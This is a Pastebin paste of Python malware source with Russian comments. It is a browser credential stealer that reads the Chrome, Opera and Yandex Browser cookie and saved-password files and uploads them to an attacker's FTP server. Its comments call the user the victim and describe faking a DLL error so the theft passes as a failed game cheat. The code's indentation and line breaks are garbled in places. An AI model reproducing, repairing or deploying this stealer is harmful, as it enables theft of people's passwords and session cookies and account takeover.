Advertisement
Guest User

Untitled

a guest
Jun 18th, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.80 KB | None | 0 0
  1. # Подключаем библиотеки.
  2. import os.path # Проверяем, существует ли директория.
  3. import getpass # Получаем username, под которым запущен процесс для доступа к AppData.
  4. from ftplib import FTP # Подключаем библиотеку для работы с FTP и отправки через него паролей.
  5. import random # Подключаем рандом для названия файла, который будет отправлен на сервер.
  6.  
  7. # Несколько переменных.
  8.  
  9. con = FTP("хост","логин","пароль") # Сюда пишем данные нашего FTP сервера.
  10.  
  11. UserName = '\\' + getpass.getuser() # Сюда будет записано имя текущего пользователя.
  12.  
  13. # Здесь в названия переменных мы записываем пути, по которому хранятся cookie и пароли браузеров.
  14. # Вы можете дописать сюда другие браузеры, если известны пути, где они хранят нужные нам файлы.
  15. # К сожалению как в случае ниже если система записана на диск с любой другой буквой кроме C, то ничего не получится.
  16. # Но это можно исправить прописав несколько вариантов путей для браузеров.
  17.  
  18. # Google Chrome.
  19.  
  20. dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
  21. dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  22.  
  23. # Yandex Browser.
  24.  
  25. dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
  26. dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
  27.  
  28. # Opera.
  29.  
  30. dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
  31. dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
  32.  
  33. # Папки с файлами браузеров для последующей проверки, существуют ли они и есть ли такой браузер у жертвы.
  34.  
  35. dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
  36. dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
  37. dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
  38. dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"
  39.  
  40. # Далее идёт функция с огромным if с проверкой путей, чтобы в случае, если у жертвы нет того или иного браузера на сервер не отправлялись пустые данные.
  41.  
  42.  
  43. def check(): # Определяем функцию.
  44.  
  45. # Если Вы добавляли пути для других браузеров, то нужно так же добавить их ниже на примере Google Chrome.
  46.  
  47. # Google Chrome.
  48.  
  49.     if (os.path.exists(dir_google)) == True: # Если папка от Google Chrome существует.
  50.             filename = "google" + str(random.randint(1, 10000)) # Присваиваем названию файла cookie который будет отправлен на сервер в конец названия рандомное число от 1 до 10000.
  51.             filename2 = "google_pass" + str(random.randint(1, 10000)) # Присваиваем названию файла с паролями который будет отправлен на сервер в конец названия рандомное число от 1 до 10000.
  52.                
  53.                         with open(dir_cookie_google, "rb") # Открываем файл, где Google Chrome хранит cookie.
  54.                         as content:
  55.                                 con.storbinary("STOR %s" % filename, content)
  56.                                
  57.                         with open(dir_pass_google, "rb") # Открываем файл, где Google Chrome хранит пароли.
  58.                         as content:
  59.                                 con.storbinary("STOR %s" % filename2, content)
  60.                                
  61. # Opera.
  62.                                
  63.     if (os.path.exists(dir_opera)) == True: # См. Google Chrome.
  64.                             filename = "opera" +str (random.randint(1, 10000)) # См. Google Chrome.
  65.                             filename2 = "opera_pass" + str(random.randint(1, 10000)) # См. Google Chrome.
  66.                                
  67.                         with open(dir_cookie_opera, "rb") # См. Google Chrome.
  68.                         as content:
  69.                                 con.storbinary("STOR %s" % filename, content)
  70.                                                
  71.                         with open(dir_pass_opera, "rb") # См. Google Chrome.
  72.                         as content:
  73.                                 con.storbinary("STOR %s" % filename2, content)
  74.                                                
  75. # Yandex Browser.
  76.                                                
  77.     if (os.path.exists(dir_yandex)) == True: # См. Google Chrome.
  78.                             filename = "yandex" + str(random.randint(1, 10000)) # См. Google Chrome.
  79.                             filename2 = "yandex_pass" + str(random.randint(1, 10000)) # См. Google Chrome.
  80.                                                
  81.                         with open(dir_cookie_yandex, "rb") # См. Google Chrome.
  82.                         as content:
  83.                                 con.storbinary("STOR %s" % filename, content)
  84.                                                    
  85.                         with open(dir_pass_yandex, "rb") # См. Google Chrome.
  86.                         as content:
  87.                                 con.storbinary("STOR %s" % filename2, content)
  88.                                                
  89. # Вызываем нашу функцию.
  90.  
  91. check()
  92.  
  93. # Три строки ниже генерируют ошибку, чтобы жертва подумала мол программа не смогла выполниться из-за отсутствия библиотеки.
  94.  
  95. # print("Error library import HOUII.dll")
  96. # print("Error RUN cheat")
  97. # input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement